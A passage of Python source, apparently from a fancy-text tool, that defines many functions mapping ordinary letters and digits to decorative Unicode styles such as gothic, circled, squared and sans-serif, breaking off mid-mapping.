\"ᵇ\",\n            \"C\": \"ᶜ\",\n            \"D\": \"ᵈ\",\n            \"E\": \"ᵉ\",\n            \"F\": \"ᶠ\",\n            \"G\": \"ᵍ\",\n            \"H\": \"ʰ\",\n            \"I\": \"ⁱ\",\n            \"J\": \"ʲ\",\n            \"K\": \"ᵏ\",\n            \"L\": \"ˡ\",\n            \"M\": \"ᵐ\",\n            \"N\": \"ⁿ\",\n            \"O\": \"ᵒ\",\n            \"P\": \"ᵖ\",\n            \"Q\": \"ᵠ\",\n            \"R\": \"ʳ\",\n            \"S\": \"ˢ\",\n            \"T\": \"ᵗ\",\n            \"U\": \"ᵘ\",\n            \"V\": \"ᵛ\",\n            \"W\": \"ʷ\",\n            \"X\": \"ˣ\",\n            \"Y\": \"ʸ\",\n            \"Z\": \"ᶻ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def comic(text):\n        style = {\n            \"a\": \"ᗩ\",\n            \"b\": \"ᗷ\",\n            \"c\": \"ᑕ\",\n            \"d\": \"ᗪ\",\n            \"e\": \"ᗴ\",\n            \"f\": \"ᖴ\",\n            \"g\": \"ᘜ\",\n            \"h\": \"ᕼ\",\n            \"i\": \"I\",\n            \"j\": \"ᒍ\",\n            \"k\": \"K\",\n            \"l\": \"ᒪ\",\n            \"m\": \"ᗰ\",\n            \"n\": \"ᑎ\",\n            \"o\": \"O\",\n            \"p\": \"ᑭ\",\n            \"q\": \"ᑫ\",\n            \"r\": \"ᖇ\",\n            \"s\": \"Տ\",\n            \"t\": \"T\",\n            \"u\": \"ᑌ\",\n            \"v\": \"ᐯ\",\n            \"w\": \"ᗯ\",\n            \"x\": \"᙭\",\n            \"y\": \"Y\",\n            \"z\": \"ᘔ\",\n            \"A\": \"ᗩ\",\n            \"B\": \"ᗷ\",\n            \"C\": \"ᑕ\",\n            \"D\": \"ᗪ\",\n            \"E\": \"ᗴ\",\n            \"F\": \"ᖴ\",\n            \"G\": \"ᘜ\",\n            \"H\": \"ᕼ\",\n            \"I\": \"I\",\n            \"J\": \"ᒍ\",\n            \"K\": \"K\",\n            \"L\": \"ᒪ\",\n            \"M\": \"ᗰ\",\n            \"N\": \"ᑎ\",\n            \"O\": \"O\",\n            \"P\": \"ᑭ\",\n            \"Q\": \"ᑫ\",\n            \"R\": \"ᖇ\",\n            \"S\": \"Տ\",\n            \"T\": \"T\",\n            \"U\": \"ᑌ\",\n            \"V\": \"ᐯ\",\n            \"W\": \"ᗯ\",\n            \"X\": \"᙭\",\n            \"Y\": \"Y\",\n            \"Z\": \"ᘔ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def san(text):\n        style = {\n            \"a\": \"𝗮\",\n            \"b\": \"𝗯\",\n            \"c\": \"𝗰\",\n            \"d\": \"𝗱\",\n            \"e\": \"𝗲\",\n            \"f\": \"𝗳\",\n            \"g\": \"𝗴\",\n            \"h\": \"𝗵\",\n            \"i\": \"𝗶\",\n            \"j\": \"𝗷\",\n            \"k\": \"𝗸\",\n            \"l\": \"𝗹\",\n            \"m\": \"𝗺\",\n            \"n\": \"𝗻\",\n            \"o\": \"𝗼\",\n            \"p\": \"𝗽\",\n            \"q\": \"𝗾\",\n            \"r\": \"𝗿\",\n            \"s\": \"𝘀\",\n            \"t\": \"𝘁\",\n            \"u\": \"𝘂\",\n            \"v\": \"𝘃\",\n            \"w\": \"𝘄\",\n            \"x\": \"𝘅\",\n            \"y\": \"𝘆\",\n            \"z\": \"𝘇\",\n            \"A\": \"𝗔\",\n            \"B\": \"𝗕\",\n            \"C\": \"𝗖\",\n            \"D\": \"𝗗\",\n            \"E\": \"𝗘\",\n            \"F\": \"𝗙\",\n            \"G\": \"𝗚\",\n            \"H\": \"𝗛\",\n            \"I\": \"𝗜\",\n            \"J\": \"𝗝\",\n            \"K\": \"𝗞\",\n            \"L\": \"𝗟\",\n            \"M\": \"𝗠\",\n            \"N\": \"𝗡\",\n            \"O\": \"𝗢\",\n            \"P\": \"𝗣\",\n            \"Q\": \"𝗤\",\n            \"R\": \"𝗥\",\n            \"S\": \"𝗦\",\n            \"T\": \"𝗧\",\n            \"U\": \"𝗨\",\n            \"V\": \"𝗩\",\n            \"W\": \"𝗪\",\n            \"X\": \"𝗫\",\n            \"Y\": \"𝗬\",\n            \"Z\": \"𝗭\",\n            \"0\": \"𝟬\",\n            \"1\": \"𝟭\",\n            \"2\": \"𝟮\",\n            \"3\": \"𝟯\",\n            \"4\": \"𝟰\",\n            \"5\": \"𝟱\",\n            \"6\": \"𝟲\",\n            \"7\": \"𝟳\",\n            \"8\": \"𝟴\",\n            \"9\": \"𝟵\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slant_san(text):\n        style = {\n            \"a\": \"𝙖\",\n            \"b\": \"𝙗\",\n            \"c\": \"𝙘\",\n            \"d\": \"𝙙\",\n            \"e\": \"𝙚\",\n            \"f\": \"𝙛\",\n            \"g\": \"𝙜\",\n            \"h\": \"𝙝\",\n            \"i\": \"𝙞\",\n            \"j\": \"𝙟\",\n            \"k\": \"𝙠\",\n            \"l\": \"𝙡\",\n            \"m\": \"𝙢\",\n            \"n\": \"𝙣\",\n            \"o\": \"𝙤\",\n            \"p\": \"𝙥\",\n            \"q\": \"𝙦\",\n            \"r\": \"𝙧\",\n            \"s\": \"𝙨\",\n            \"t\": \"𝙩\",\n            \"u\": \"𝙪\",\n            \"v\": \"𝙫\",\n            \"w\": \"𝙬\",\n            \"x\": \"𝙭\",\n            \"y\": \"𝙮\",\n            \"z\": \"𝙯\",\n            \"A\": \"𝘼\",\n            \"B\": \"𝘽\",\n            \"C\": \"𝘾\",\n            \"D\": \"𝘿\",\n            \"E\": \"𝙀\",\n            \"F\": \"𝙁\",\n            \"G\": \"𝙂\",\n            \"H\": \"𝙃\",\n            \"I\": \"𝙄\",\n            \"J\": \"𝙅\",\n            \"K\": \"𝙆\",\n            \"L\": \"𝙇\",\n            \"M\": \"𝙈\",\n            \"N\": \"𝙉\",\n            \"O\": \"𝙊\",\n            \"P\": \"𝙋\",\n            \"Q\": \"𝙌\",\n            \"R\": \"𝙍\",\n            \"S\": \"𝙎\",\n            \"T\": \"𝙏\",\n            \"U\": \"𝙐\",\n            \"V\": \"𝙑\",\n            \"W\": \"𝙒\",\n            \"X\": \"𝙓\",\n            \"Y\": \"𝙔\",\n            \"Z\": \"𝙕\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def slant(text):\n        style = {\n            \"a\": \"𝘢\",\n            \"b\": \"𝘣\",\n            \"c\": \"𝘤\",\n            \"d\": \"𝘥\",\n            \"e\": \"𝘦\",\n            \"f\": \"𝘧\",\n            \"g\": \"𝘨\",\n            \"h\": \"𝘩\",\n            \"i\": \"𝘪\",\n            \"j\": \"𝘫\",\n            \"k\": \"𝘬\",\n            \"l\": \"𝘭\",\n            \"m\": \"𝘮\",\n            \"n\": \"𝘯\",\n            \"o\": \"𝘰\",\n            \"p\": \"𝘱\",\n            \"q\": \"𝘲\",\n            \"r\": \"𝘳\",\n            \"s\": \"𝘴\",\n            \"t\": \"𝘵\",\n            \"u\": \"𝘶\",\n            \"v\": \"𝘷\",\n            \"w\": \"𝘸\",\n            \"x\": \"𝘹\",\n            \"y\": \"𝘺\",\n            \"z\": \"𝘻\",\n            \"A\": \"𝘈\",\n            \"B\": \"𝘉\",\n            \"C\": \"𝘊\",\n            \"D\": \"𝘋\",\n            \"E\": \"𝘌\",\n            \"F\": \"𝘍\",\n            \"G\": \"𝘎\",\n            \"H\": \"𝘏\",\n            \"I\": \"𝘐\",\n            \"J\": \"𝘑\",\n            \"K\": \"𝘒\",\n            \"L\": \"𝘓\",\n            \"M\": \"𝘔\",\n            \"N\": \"𝘕\",\n            \"O\": \"𝘖\",\n            \"P\": \"𝘗\",\n            \"Q\": \"𝘘\",\n            \"R\": \"𝘙\",\n            \"S\": \"𝘚\",\n            \"T\": \"𝘛\",\n            \"U\": \"𝘜\",\n            \"V\": \"𝘝\",\n            \"W\": \"𝘞\",\n            \"X\": \"𝘟\",\n            \"Y\": \"𝘠\",\n            \"Z\": \"𝘡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def sim(text):\n        style = {\n            \"a\": \"𝖺\",\n            \"b\": \"𝖻\",\n            \"c\": \"𝖼\",\n            \"d\": \"𝖽\",\n            \"e\": \"𝖾\",\n            \"f\": \"𝖿\",\n            \"g\": \"𝗀\",\n            \"h\": \"𝗁\",\n            \"i\": \"𝗂\",\n            \"j\": \"𝗃\",\n            \"k\": \"𝗄\",\n            \"l\": \"𝗅\",\n            \"m\": \"𝗆\",\n            \"n\": \"𝗇\",\n            \"o\": \"𝗈\",\n            \"p\": \"𝗉\",\n            \"q\": \"𝗊\",\n            \"r\": \"𝗋\",\n            \"s\": \"𝗌\",\n            \"t\": \"𝗍\",\n            \"u\": \"𝗎\",\n            \"v\": \"𝗏\",\n            \"w\": \"𝗐\",\n            \"x\": \"𝗑\",\n            \"y\": \"𝗒\",\n            \"z\": \"𝗓\",\n            \"A\": \"𝖠\",\n            \"B\": \"𝖡\",\n            \"C\": \"𝖢\",\n            \"D\": \"𝖣\",\n            \"E\": \"𝖤\",\n            \"F\": \"𝖥\",\n            \"G\": \"𝖦\",\n            \"H\": \"𝖧\",\n            \"I\": \"𝖨\",\n            \"J\": \"𝖩\",\n            \"K\": \"𝖪\",\n            \"L\": \"𝖫\",\n            \"M\": \"𝖬\",\n            \"N\": \"𝖭\",\n            \"O\": \"𝖮\",\n            \"P\": \"𝖯\",\n            \"Q\": \"𝖰\",\n            \"R\": \"𝖱\",\n            \"S\": \"𝖲\",\n            \"T\": \"𝖳\",\n            \"U\": \"𝖴\",\n            \"V\": \"𝖵\",\n            \"W\": \"𝖶\",\n            \"X\": \"𝖷\",\n            \"Y\": \"𝖸\",\n            \"Z\": \"𝖹\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def circles(text):\n        style = {\n            \"a\": \"Ⓐ︎\",\n            \"b\": \"Ⓑ︎\",\n            \"c\": \"Ⓒ︎\",\n            \"d\": \"Ⓓ︎\",\n            \"e\": \"Ⓔ︎\",\n            \"f\": \"Ⓕ︎\",\n            \"g\": \"Ⓖ︎\",\n            \"h\": \"Ⓗ︎\",\n            \"i\": \"Ⓘ︎\",\n            \"j\": \"Ⓙ︎\",\n            \"k\": \"Ⓚ︎\",\n            \"l\": \"Ⓛ︎\",\n            \"m\": \"Ⓜ︎\",\n            \"n\": \"Ⓝ︎\",\n            \"o\": \"Ⓞ︎\",\n            \"p\": \"Ⓟ︎\",\n            \"q\": \"Ⓠ︎\",\n            \"r\": \"Ⓡ︎\",\n            \"s\": \"Ⓢ︎\",\n            \"t\": \"Ⓣ︎\",\n            \"u\": \"Ⓤ︎\",\n            \"v\": \"Ⓥ︎\",\n            \"w\": \"Ⓦ︎\",\n            \"x\": \"Ⓧ︎\",\n            \"y\": \"Ⓨ︎\",\n            \"z\": \"Ⓩ︎\",\n            \"A\": \"Ⓐ︎\",\n            \"B\": \"Ⓑ︎\",\n            \"C\": \"Ⓒ︎\",\n            \"D\": \"Ⓓ︎\",\n            \"E\": \"Ⓔ︎\",\n            \"F\": \"Ⓕ︎\",\n            \"G\": \"Ⓖ︎\",\n            \"H\": \"Ⓗ︎\",\n            \"I\": \"Ⓘ︎\",\n            \"J\": \"Ⓙ︎\",\n            \"K\": \"Ⓚ︎\",\n            \"L\": \"Ⓛ︎\",\n            \"M\": \"Ⓜ︎\",\n            \"N\": \"Ⓝ︎\",\n            \"O\": \"Ⓞ︎\",\n            \"P\": \"Ⓟ︎\",\n            \"Q\": \"Ⓠ︎\",\n            \"R\": \"Ⓡ︎\",\n            \"S\": \"Ⓢ︎\",\n            \"T\": \"Ⓣ︎\",\n            \"U\": \"Ⓤ︎\",\n            \"V\": \"Ⓥ︎\",\n            \"W\": \"Ⓦ︎\",\n            \"X\": \"Ⓧ︎\",\n            \"Y\": \"Ⓨ︎\",\n            \"Z\": \"Ⓩ︎\",\n            \"0\": \"⓪\",\n            \"1\": \"①\",\n            \"2\": \"②\",\n            \"3\": \"③\",\n            \"4\": \"④\",\n            \"5\": \"⑤\",\n            \"6\": \"⑥\",\n            \"7\": \"⑦\",\n            \"8\": \"⑧\",\n            \"9\": \"⑨\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def dark_circle(text):\n        style = {\n            \"a\": \"🅐︎\",\n            \"b\": \"🅑︎\",\n            \"c\": \"🅒︎\",\n            \"d\": \"🅓︎\",\n            \"e\": \"🅔︎\",\n            \"f\": \"🅕︎\",\n            \"g\": \"🅖︎\",\n            \"h\": \"🅗︎\",\n            \"i\": \"🅘︎\",\n            \"j\": \"🅙︎\",\n            \"k\": \"🅚︎\",\n            \"l\": \"🅛︎\",\n            \"m\": \"🅜︎\",\n            \"n\": \"🅝︎\",\n            \"o\": \"🅞︎\",\n            \"p\": \"🅟︎\",\n            \"q\": \"🅠︎\",\n            \"r\": \"🅡︎\",\n            \"s\": \"🅢︎\",\n            \"t\": \"🅣︎\",\n            \"u\": \"🅤︎\",\n            \"v\": \"🅥︎\",\n            \"w\": \"🅦︎\",\n            \"x\": \"🅧︎\",\n            \"y\": \"🅨︎\",\n            \"z\": \"🅩︎\",\n            \"A\": \"🅐︎\",\n            \"B\": \"🅑︎\",\n            \"C\": \"🅒︎\",\n            \"D\": \"🅓︎\",\n            \"E\": \"🅔︎\",\n            \"F\": \"🅕︎\",\n            \"G\": \"🅖︎\",\n            \"H\": \"🅗︎\",\n            \"I\": \"🅘︎\",\n            \"J\": \"🅙︎\",\n            \"K\": \"🅚︎\",\n            \"L\": \"🅛︎\",\n            \"M\": \"🅜︎\",\n            \"N\": \"🅝︎\",\n            \"O\": \"🅞︎\",\n            \"P\": \"🅟︎\",\n            \"Q\": \"🅠︎\",\n            \"R\": \"🅡︎\",\n            \"S\": \"🅢︎\",\n            \"T\": \"🅣︎\",\n            \"U\": \"🅤︎\",\n            \"V\": \"🅥︎\",\n            \"W\": \"🅦︎\",\n            \"X\": \"🅧︎\",\n            \"Y\": \"🅨︎\",\n            \"Z\": \"🅩\",\n            \"0\": \"⓿\",\n            \"1\": \"➊\",\n            \"2\": \"➋\",\n            \"3\": \"➌\",\n            \"4\": \"➍\",\n            \"5\": \"➎\",\n            \"6\": \"➏\",\n            \"7\": \"➐\",\n            \"8\": \"➑\",\n            \"9\": \"➒\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def gothic(text):\n        style = {\n            \"a\": \"𝔞\",\n            \"b\": \"𝔟\",\n            \"c\": \"𝔠\",\n            \"d\": \"𝔡\",\n            \"e\": \"𝔢\",\n            \"f\": \"𝔣\",\n            \"g\": \"𝔤\",\n            \"h\": \"𝔥\",\n            \"i\": \"𝔦\",\n            \"j\": \"𝔧\",\n            \"k\": \"𝔨\",\n            \"l\": \"𝔩\",\n            \"m\": \"𝔪\",\n            \"n\": \"𝔫\",\n            \"o\": \"𝔬\",\n            \"p\": \"𝔭\",\n            \"q\": \"𝔮\",\n            \"r\": \"𝔯\",\n            \"s\": \"𝔰\",\n            \"t\": \"𝔱\",\n            \"u\": \"𝔲\",\n            \"v\": \"𝔳\",\n            \"w\": \"𝔴\",\n            \"x\": \"𝔵\",\n            \"y\": \"𝔶\",\n            \"z\": \"𝔷\",\n            \"A\": \"𝔄\",\n            \"B\": \"𝔅\",\n            \"C\": \"ℭ\",\n            \"D\": \"𝔇\",\n            \"E\": \"𝔈\",\n            \"F\": \"𝔉\",\n            \"G\": \"𝔊\",\n            \"H\": \"ℌ\",\n            \"I\": \"ℑ\",\n            \"J\": \"𝔍\",\n            \"K\": \"𝔎\",\n            \"L\": \"𝔏\",\n            \"M\": \"𝔐\",\n            \"N\": \"𝔑\",\n            \"O\": \"𝔒\",\n            \"P\": \"𝔓\",\n            \"Q\": \"𝔔\",\n            \"R\": \"ℜ\",\n            \"S\": \"𝔖\",\n            \"T\": \"𝔗\",\n            \"U\": \"𝔘\",\n            \"V\": \"𝔙\",\n            \"W\": \"𝔚\",\n            \"X\": \"𝔛\",\n            \"Y\": \"𝔜\",\n            \"Z\": \"ℨ\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def bold_gothic(text):\n        style = {\n            \"a\": \"𝖆\",\n            \"b\": \"𝖇\",\n            \"c\": \"𝖈\",\n            \"d\": \"𝖉\",\n            \"e\": \"𝖊\",\n            \"f\": \"𝖋\",\n            \"g\": \"𝖌\",\n            \"h\": \"𝖍\",\n            \"i\": \"𝖎\",\n            \"j\": \"𝖏\",\n            \"k\": \"𝖐\",\n            \"l\": \"𝖑\",\n            \"m\": \"𝖒\",\n            \"n\": \"𝖓\",\n            \"o\": \"𝖔\",\n            \"p\": \"𝖕\",\n            \"q\": \"𝖖\",\n            \"r\": \"𝖗\",\n            \"s\": \"𝖘\",\n            \"t\": \"𝖙\",\n            \"u\": \"𝖚\",\n            \"v\": \"𝖛\",\n            \"w\": \"𝖜\",\n            \"x\": \"𝖝\",\n            \"y\": \"𝖞\",\n            \"z\": \"𝖟\",\n            \"A\": \"𝕬\",\n            \"B\": \"𝕭\",\n            \"C\": \"𝕮\",\n            \"D\": \"𝕺\",\n            \"E\": \"𝕰\",\n            \"F\": \"𝕱\",\n            \"G\": \"𝕲\",\n            \"H\": \"𝕳\",\n            \"I\": \"𝕴\",\n            \"J\": \"𝕵\",\n            \"K\": \"𝕶\",\n            \"L\": \"𝕷\",\n            \"M\": \"𝕸\",\n            \"N\": \"𝕹\",\n            \"O\": \"𝕺\",\n            \"P\": \"𝕻\",\n            \"Q\": \"𝕼\",\n            \"R\": \"𝕽\",\n            \"S\": \"𝕾\",\n            \"T\": \"𝕿\",\n            \"U\": \"𝖀\",\n            \"V\": \"𝖁\",\n            \"W\": \"𝖂\",\n            \"X\": \"𝖃\",\n            \"Y\": \"𝖄\",\n            \"Z\": \"𝖅\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def cloud(text):\n        style = {\n            \"a\": \"a͜͡\",\n            \"b\": \"b͜͡\",\n            \"c\": \"c͜͡\",\n            \"d\": \"d͜͡\",\n            \"e\": \"e͜͡\",\n            \"f\": \"f͜͡\",\n            \"g\": \"g͜͡\",\n            \"h\": \"h͜͡\",\n            \"i\": \"i͜͡\",\n            \"j\": \"j͜͡\",\n            \"k\": \"k͜͡\",\n            \"l\": \"l͜͡\",\n            \"m\": \"m͜͡\",\n            \"n\": \"n͜͡\",\n            \"o\": \"o͜͡\",\n            \"p\": \"p͜͡\",\n            \"q\": \"q͜͡\",\n            \"r\": \"r͜͡\",\n            \"s\": \"s͜͡\",\n            \"t\": \"t͜͡\",\n            \"u\": \"u͜͡\",\n            \"v\": \"v͜͡\",\n            \"w\": \"w͜͡\",\n            \"x\": \"x͜͡\",\n            \"y\": \"y͜͡\",\n            \"z\": \"z͜͡\",\n            \"A\": \"A͜͡\",\n            \"B\": \"B͜͡\",\n            \"C\": \"C͜͡\",\n            \"D\": \"D͜͡\",\n            \"E\": \"E͜͡\",\n            \"F\": \"F͜͡\",\n            \"G\": \"G͜͡\",\n            \"H\": \"H͜͡\",\n            \"I\": \"I͜͡\",\n            \"J\": \"J͜͡\",\n            \"K\": \"K͜͡\",\n            \"L\": \"L͜͡\",\n            \"M\": \"M͜͡\",\n            \"N\": \"N͜͡\",\n            \"O\": \"O͜͡\",\n            \"P\": \"P͜͡\",\n            \"Q\": \"Q͜͡\",\n            \"R\": \"R͜͡\",\n            \"S\": \"S͜͡\",\n            \"T\": \"T͜͡\",\n            \"U\": \"U͜͡\",\n            \"V\": \"V͜͡\",\n            \"W\": \"W͜͡\",\n            \"X\": \"X͜͡\",\n            \"Y\": \"Y͜͡\",\n            \"Z\": \"Z͜͡\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def happy(text):\n        style = {\n            \"a\": \"ă̈\",\n            \"b\": \"b̆̈\",\n            \"c\": \"c̆̈\",\n            \"d\": \"d̆̈\",\n            \"e\": \"ĕ̈\",\n            \"f\": \"f̆̈\",\n            \"g\": \"ğ̈\",\n            \"h\": \"h̆̈\",\n            \"i\": \"ĭ̈\",\n            \"j\": \"j̆̈\",\n            \"k\": \"k̆̈\",\n            \"l\": \"l̆̈\",\n            \"m\": \"m̆̈\",\n            \"n\": \"n̆̈\",\n            \"o\": \"ŏ̈\",\n            \"p\": \"p̆̈\",\n            \"q\": \"q̆̈\",\n            \"r\": \"r̆̈\",\n            \"s\": \"s̆̈\",\n            \"t\": \"t̆̈\",\n            \"u\": \"ŭ̈\",\n            \"v\": \"v̆̈\",\n            \"w\": \"w̆̈\",\n            \"x\": \"x̆̈\",\n            \"y\": \"y̆̈\",\n            \"z\": \"z̆̈\",\n            \"A\": \"Ă̈\",\n            \"B\": \"B̆̈\",\n            \"C\": \"C̆̈\",\n            \"D\": \"D̆̈\",\n            \"E\": \"Ĕ̈\",\n            \"F\": \"F̆̈\",\n            \"G\": \"Ğ̈\",\n            \"H\": \"H̆̈\",\n            \"I\": \"Ĭ̈\",\n            \"J\": \"J̆̈\",\n            \"K\": \"K̆̈\",\n            \"L\": \"L̆̈\",\n            \"M\": \"M̆̈\",\n            \"N\": \"N̆̈\",\n            \"O\": \"Ŏ̈\",\n            \"P\": \"P̆̈\",\n            \"Q\": \"Q̆̈\",\n            \"R\": \"R̆̈\",\n            \"S\": \"S̆̈\",\n            \"T\": \"T̆̈\",\n            \"U\": \"Ŭ̈\",\n            \"V\": \"V̆̈\",\n            \"W\": \"W̆̈\",\n            \"X\": \"X̆̈\",\n            \"Y\": \"Y̆̈\",\n            \"Z\": \"Z̆̈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def sad(text):\n        style = {\n            \"a\": \"ȃ̈\",\n            \"b\": \"b̑̈\",\n            \"c\": \"c̑̈\",\n            \"d\": \"d̑̈\",\n            \"e\": \"ȇ̈\",\n            \"f\": \"f̑̈\",\n            \"g\": \"g̑̈\",\n            \"h\": \"h̑̈\",\n            \"i\": \"ȋ̈\",\n            \"j\": \"j̑̈\",\n            \"k\": \"k̑̈\",\n            \"l\": \"l̑̈\",\n            \"m\": \"m̑̈\",\n            \"n\": \"n̑̈\",\n            \"o\": \"ȏ̈\",\n            \"p\": \"p̑̈\",\n            \"q\": \"q̑̈\",\n            \"r\": \"ȓ̈\",\n            \"s\": \"s̑̈\",\n            \"t\": \"t̑̈\",\n            \"u\": \"ȗ̈\",\n            \"v\": \"v̑̈\",\n            \"w\": \"w̑̈\",\n            \"x\": \"x̑̈\",\n            \"y\": \"y̑̈\",\n            \"z\": \"z̑̈\",\n            \"A\": \"Ȃ̈\",\n            \"B\": \"B̑̈\",\n            \"C\": \"C̑̈\",\n            \"D\": \"D̑̈\",\n            \"E\": \"Ȇ̈\",\n            \"F\": \"F̑̈\",\n            \"G\": \"G̑̈\",\n            \"H\": \"H̑̈\",\n            \"I\": \"Ȋ̈\",\n            \"J\": \"J̑̈\",\n            \"K\": \"K̑̈\",\n            \"L\": \"L̑̈\",\n            \"M\": \"M̑̈\",\n            \"N\": \"N̑̈\",\n            \"O\": \"Ȏ̈\",\n            \"P\": \"P̑̈\",\n            \"Q\": \"Q̑̈\",\n            \"R\": \"Ȓ̈\",\n            \"S\": \"S̑̈\",\n            \"T\": \"T̑̈\",\n            \"U\": \"Ȗ̈\",\n            \"V\": \"V̑̈\",\n            \"W\": \"W̑̈\",\n            \"X\": \"X̑̈\",\n            \"Y\": \"Y̑̈\",\n            \"Z\": \"Z̑̈\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def special(text):\n        style = {\n            \"a\": \"🇦 \",\n            \"b\": \"🇧 \",\n            \"c\": \"🇨 \",\n            \"d\": \"🇩 \",\n            \"e\": \"🇪 \",\n            \"f\": \"🇫 \",\n            \"g\": \"🇬 \",\n            \"h\": \"🇭 \",\n            \"i\": \"🇮 \",\n            \"j\": \"🇯 \",\n            \"k\": \"🇰 \",\n            \"l\": \"🇱 \",\n            \"m\": \"🇲 \",\n            \"n\": \"🇳 \",\n            \"o\": \"🇴 \",\n            \"p\": \"🇵 \",\n            \"q\": \"🇶 \",\n            \"r\": \"🇷 \",\n            \"s\": \"🇸 \",\n            \"t\": \"🇹 \",\n            \"u\": \"🇺 \",\n            \"v\": \"🇻 \",\n            \"w\": \"🇼 \",\n            \"x\": \"🇽 \",\n            \"y\": \"🇾 \",\n            \"z\": \"🇿 \",\n            \"A\": \"🇦 \",\n            \"B\": \"🇧 \",\n            \"C\": \"🇨 \",\n            \"D\": \"🇩 \",\n            \"E\": \"🇪 \",\n            \"F\": \"🇫 \",\n            \"G\": \"🇬 \",\n            \"H\": \"🇭 \",\n            \"I\": \"🇮 \",\n            \"J\": \"🇯 \",\n            \"K\": \"🇰 \",\n            \"L\": \"🇱 \",\n            \"M\": \"🇲 \",\n            \"N\": \"🇳 \",\n            \"O\": \"🇴 \",\n            \"P\": \"🇵 \",\n            \"Q\": \"🇶 \",\n            \"R\": \"🇷 \",\n            \"S\": \"🇸 \",\n            \"T\": \"🇹 \",\n            \"U\": \"🇺 \",\n            \"V\": \"🇻 \",\n            \"W\": \"🇼 \",\n            \"X\": \"🇽 \",\n            \"Y\": \"🇾 \",\n            \"Z\": \"🇿 \",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def square(text):\n        style = {\n            \"a\": \"🄰\",\n            \"b\": \"🄱\",\n            \"c\": \"🄲\",\n            \"d\": \"🄳\",\n            \"e\": \"🄴\",\n            \"f\": \"🄵\",\n            \"g\": \"🄶\",\n            \"h\": \"🄷\",\n            \"i\": \"🄸\",\n            \"j\": \"🄹\",\n            \"k\": \"🄺\",\n            \"l\": \"🄻\",\n            \"m\": \"🄼\",\n            \"n\": \"🄽\",\n            \"o\": \"🄾\",\n            \"p\": \"🄿\",\n            \"q\": \"🅀\",\n            \"r\": \"🅁\",\n            \"s\": \"🅂\",\n            \"t\": \"🅃\",\n            \"u\": \"🅄\",\n            \"v\": \"🅅\",\n            \"w\": \"🅆\",\n            \"x\": \"🅇\",\n            \"y\": \"🅈\",\n            \"z\": \"🅉\",\n            \"A\": \"🄰\",\n            \"B\": \"🄱\",\n            \"C\": \"🄲\",\n            \"D\": \"🄳\",\n            \"E\": \"🄴\",\n            \"F\": \"🄵\",\n            \"G\": \"🄶\",\n            \"H\": \"🄷\",\n            \"I\": \"🄸\",\n            \"J\": \"🄹\",\n            \"K\": \"🄺\",\n            \"L\": \"🄻\",\n            \"M\": \"🄼\",\n            \"N\": \"🄽\",\n            \"O\": \"🄾\",\n            \"P\": \"🄿\",\n            \"Q\": \"🅀\",\n            \"R\": \"🅁\",\n            \"S\": \"🅂\",\n            \"T\": \"🅃\",\n            \"U\": \"🅄\",\n            \"V\": \"🅅\",\n            \"W\": \"🅆\",\n            \"X\": \"🅇\",\n            \"Y\": \"🅈\",\n            \"Z\": \"🅉\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def dark_square(text):\n        style = {\n            \"a\": \"🅰︎\",\n            \"b\": \"🅱︎\",\n            \"c\": \"🅲︎\",\n            \"d\": \"🅳︎\",\n            \"e\": \"🅴︎\",\n            \"f\": \"🅵︎\",\n            \"g\": \"🅶︎\",\n            \"h\": \"🅷︎\",\n            \"i\": \"🅸︎\",\n            \"j\": \"🅹︎\",\n            \"k\": \"🅺︎\",\n            \"l\": \"🅻︎\",\n            \"m\": \"🅼︎\",\n            \"n\": \"🅽︎\",\n            \"o\": \"🅾︎\",\n            \"p\": \"🅿︎\",\n            \"q\": \"🆀︎\",\n            \"r\": \"🆁︎\",\n            \"s\": \"🆂︎\",\n            \"t\": \"🆃︎\",\n            \"u\": \"🆄︎\",\n            \"v\": \"🆅︎\",\n            \"w\": \"🆆︎\",\n            \"x\": \"🆇︎\",\n            \"y\": \"🆈︎\",\n            \"z\": \"🆉︎\",\n            \"A\": \"🅰︎\",\n            \"B\": \"🅱︎\",\n            \"C\": \"🅲︎\",\n            \"D\": \"🅳︎\",\n            \"E\": \"🅴︎\",\n            \"F\": \"🅵︎\",\n            \"G\": \"🅶︎\",\n            \"H\": \"🅷︎\",\n            \"I\": \"🅸︎\",\n            \"J\": \"🅹︎\",\n            \"K\": \"🅺︎\",\n            \"L\": \"🅻︎\",\n            \"M\": \"🅼︎\",\n            \"N\": \"🅽︎\",\n            \"O\": \"🅾︎\",\n            \"P\": \"🅿︎\",\n            \"Q\": \"🆀︎\",\n            \"R\": \"🆁︎\",\n            \"S\": \"🆂︎\",\n            \"T\": \"🆃︎\",\n            \"U\": \"🆄︎\",\n            \"V\": \"🆅︎\",\n            \"W\": \"🆆︎\",\n            \"X\": \"🆇︎\",\n            \"Y\": \"🆈︎\",\n            \"Z\": \"🆉︎\",\n        }\n        for i, j in style.items():\n            text = text.replace(i, j)\n        return text\n\n    def andalucia(text):\n        style = {\n            \"a\": \"ꪖ\",\n            \"b\": \"᥇\",\n            \"c\": \"ᥴ\",\n            \"d\": \"ᦔ\",\n            \"e\": \"ꫀ\",\n            \"f\": \"ᠻ\",\n            \"g\": \"ᧁ\",\n            \"h\": \"ꫝ\",\n            \"i\": \"𝓲\",\n            \"j\": \"𝓳\",\n            \"k\": \"𝘬\",\n            \"l\": \"ꪶ\",\n            \"m\": \"ꪑ\",\n            \"n\": \"ꪀ\",\n            \"o\": \"ꪮ\",\n            \"p\": \"ρ\",\n            \"q\": \"𝘲\",\n            \"r\": \"𝘳\",\n            \"s\": \"𝘴\",\n            